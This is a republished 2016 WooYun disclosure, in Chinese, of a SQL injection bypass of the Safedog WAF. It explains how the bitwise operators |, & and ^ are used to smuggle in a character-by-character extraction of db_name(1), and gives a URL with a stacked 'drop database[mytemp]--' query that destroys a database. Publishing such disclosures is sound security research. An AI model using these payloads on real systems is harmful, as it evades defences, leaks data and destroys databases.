利用逻辑特性bypass最新版安全狗SQL注入

admin 2017年4月23日11:53:12评论328 views字数 216阅读0分43秒阅读模式
摘要

2016-04-21: 细节已通知厂商并且等待厂商处理中
2016-04-21: 厂商已经确认,细节仅向厂商公开
2016-05-01: 细节向核心白帽子及相关领域专家公开
2016-05-11: 细节向普通白帽子公开
2016-05-21: 细节向实习白帽子公开
2016-06-05: 细节向公众公开

漏洞概要 关注数(45) 关注此漏洞

缺陷编号: WooYun-2016-198826

漏洞标题: 利用逻辑特性bypass最新版安全狗SQL注入

相关厂商: 安全狗

漏洞作者: niexinming

提交时间: 2016-04-21 12:10

公开时间: 2016-06-05 14:00

漏洞类型: SQL注射漏洞

危害等级: 低

自评Rank: 5

漏洞状态: 厂商已经确认

漏洞来源:www.wooyun.org ,如有疑问或需要帮助请联系

Tags标签: 数字类型注射

6人收藏


漏洞详情

披露状态:

2016-04-21: 细节已通知厂商并且等待厂商处理中
2016-04-21: 厂商已经确认,细节仅向厂商公开
2016-05-01: 细节向核心白帽子及相关领域专家公开
2016-05-11: 细节向普通白帽子公开
2016-05-21: 细节向实习白帽子公开
2016-06-05: 细节向公众公开

简要描述:

师傅一直在发bypass安全狗的例子,心里怪痒痒的,发一枚

详细说明:

利用逻辑特性bypass最新版安全狗SQL注入

关于&符号和|:

(1)按位与运算符(&)

按位与运算将两个运算分量的对应位按位遵照以下规则进行计算:

0 & 0 = 0, 0 & 1 = 0, 1 & 0 = 0, 1 & 1 = 1。

即同为 1 的位,结果为 1,否则结果为 0。

例如,设3的内部表示为

00000011

5的内部表示为

00000101

则3&5的结果为

00000001

按位与运算有两种典型用法,一是取一个位串信息的某几位,如以下代码截取x的最低7位:x & 0177。二是让某变量保留某几位,其余位置0,如以下代码让x只保留最低6位:x = x & 077。以上用法都先要设计好一个常数,该常数只有需要的位是1,不需要的位是0。用它与指定的位串信息按位与。

(2)按位或运算符(|)

按位或运算将两个运算分量的对应位按位遵照以下规则进行计算:

0 | 0 = 0, 0 | 1 = 1, 1 | 0 = 1, 1 | 1 = 1

即只要有1个是1的位,结果为1,否则为0。

例如,023 | 035 结果为037。

按位或运算的典型用法是将一个位串信息的某几位置成1。如将要获得最右4为1,其他位与变量j的其他位相同,可用逻辑或运算017|j。若要把这结果赋给变量j,可写成:

j = 017|j

(3)按位异或运算符(^)

按位异或运算将两个运算分量的对应位按位遵照以下规则进行计算:

0 ^ 0 = 0, 0 ^ 1 = 1, 1 ^ 0 = 1, 1 ^ 1 = 0

即相应位的值相同的,结果为 0,不相同的结果为 1。

例如,013^035结果为026。

异或运算的意思是求两个运算分量相应位值是否相异,相异的为1,相同的为0。按位异或运算的典型用法是求一个位串信息的某几位信息的反。如欲求整型变量j的最右4位信息的反,用逻辑异或运算017^j,就能求得j最右4位的信息的反,即原来为1的位,结果是0,原来为0的位,结果是1。

当 select 0 | 100时,结果是:100(也就是右边的数字)

当 select 0 & 100时,结果是:0(始终是0)

当 select 0 ^ 100时,结果是:100(也就是右边的数字)

所以这个sql注入的类型只能是数字型

好了,背景交代完了,我们看看我在后端的sql语句:

select * from Myuser.dbo.AppUser where UserType=1

拼接的地方自然是UserType

最后的payload是:

【1】:| (select(ascii((substring((select db_name(1)) ,1,1)))))-108

【2】:^ (select(ascii((substring((select db_name(1)) ,1,1)))))-108

拼接到数据库的语句是:

select * from SSOServer.dbo.AppUser where UserType=1 | (select(ascii((substring((select db_name(1)) ,1,1)))))-108

select * from SSOServer.dbo.AppUser where UserType=1 ^ (select(ascii((substring((select db_name(1)) ,1,1)))))-108

因为安全狗会拦截db_name(),所以就在这个函数里面加入参数来绕过

就比如:db_name(1)

我们要如何查出数据呢?

就是:

(select(ascii((substring((select db_name(1)) ,1,1)))))-108

的结果是ascii的减去108的差值,反映到where语句上的时候就对应id的数据,于是就可以查出数据了

然后还有一点要注意的一点是:

在数据库中查出的db_name(0)是当前数据库名,db_name(1)是master

然后

对了,有人会问,得到数据库名字有什么危害啊?

自然是能删除了

好,第二个安全狗第二个没有过滤到的地方是:

中括号

我如果知道有个数据库叫:mytemp

我可以这样删掉它

http://localhost/test.aspx?type=1;drop database[mytemp]--

注意,数据库名可以用中括号包起来,这样:[数据库名]

漏洞证明:

先证明我这个是有安全狗,并且是最新的:

利用逻辑特性bypass最新版安全狗SQL注入

然后证明这样可以查出数据:

利用逻辑特性bypass最新版安全狗SQL注入

利用逻辑特性bypass最新版安全狗SQL注入

利用逻辑特性bypass最新版安全狗SQL注入

成功删除数据库:

利用逻辑特性bypass最新版安全狗SQL注入

修复方案:

过滤 | & ^

版权声明:转载请注明来源 niexinming@乌云


漏洞回应

厂商回应:

危害等级:低

漏洞Rank:4

确认时间:2016-04-21 13:58

厂商回复:

比较有局限性,但是也不能说没有意义,期待小伙伴继续深入的挖掘,十分感谢哈!

最新状态:

暂无


漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):

登陆后才能进行评分


评价

  1. 2016-04-21 12:53 | 从容 ( 普通白帽子 | Rank:415 漏洞数:99 | 哇啦啦啦啦啦 我的宝贝 | ..)

    0

    iis的?

  2. 2016-04-21 13:22 | niexinming ( 普通白帽子 | Rank:318 漏洞数:53 | 好好学习,天天日站)

    0

    @从容 对啊(师傅求带啊)

  3. 2016-04-21 22:18 | 1c3z ( 普通白帽子 | Rank:307 漏洞数:64 | @)!^)

    0

    6666

  4. 2016-05-11 20:48 | 1c3z ( 普通白帽子 | Rank:307 漏洞数:64 | @)!^)

    1

    不能from。。。。

  5. 2016-05-12 12:09 | niexinming ( 普通白帽子 | Rank:318 漏洞数:53 | 好好学习,天天日站)

    0

    @1c3z 你为什么不看我后面报的呢?

  6. 2016-05-15 19:51 | 1c3z ( 普通白帽子 | Rank:307 漏洞数:64 | @)!^)

    0

    @niexinming 等级不够。。

  7. 2016-05-16 09:43 | Is0Man ( 路人 | Rank:6 漏洞数:2 | you still have lots more to work on)

    0

    老司机~老司机~

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin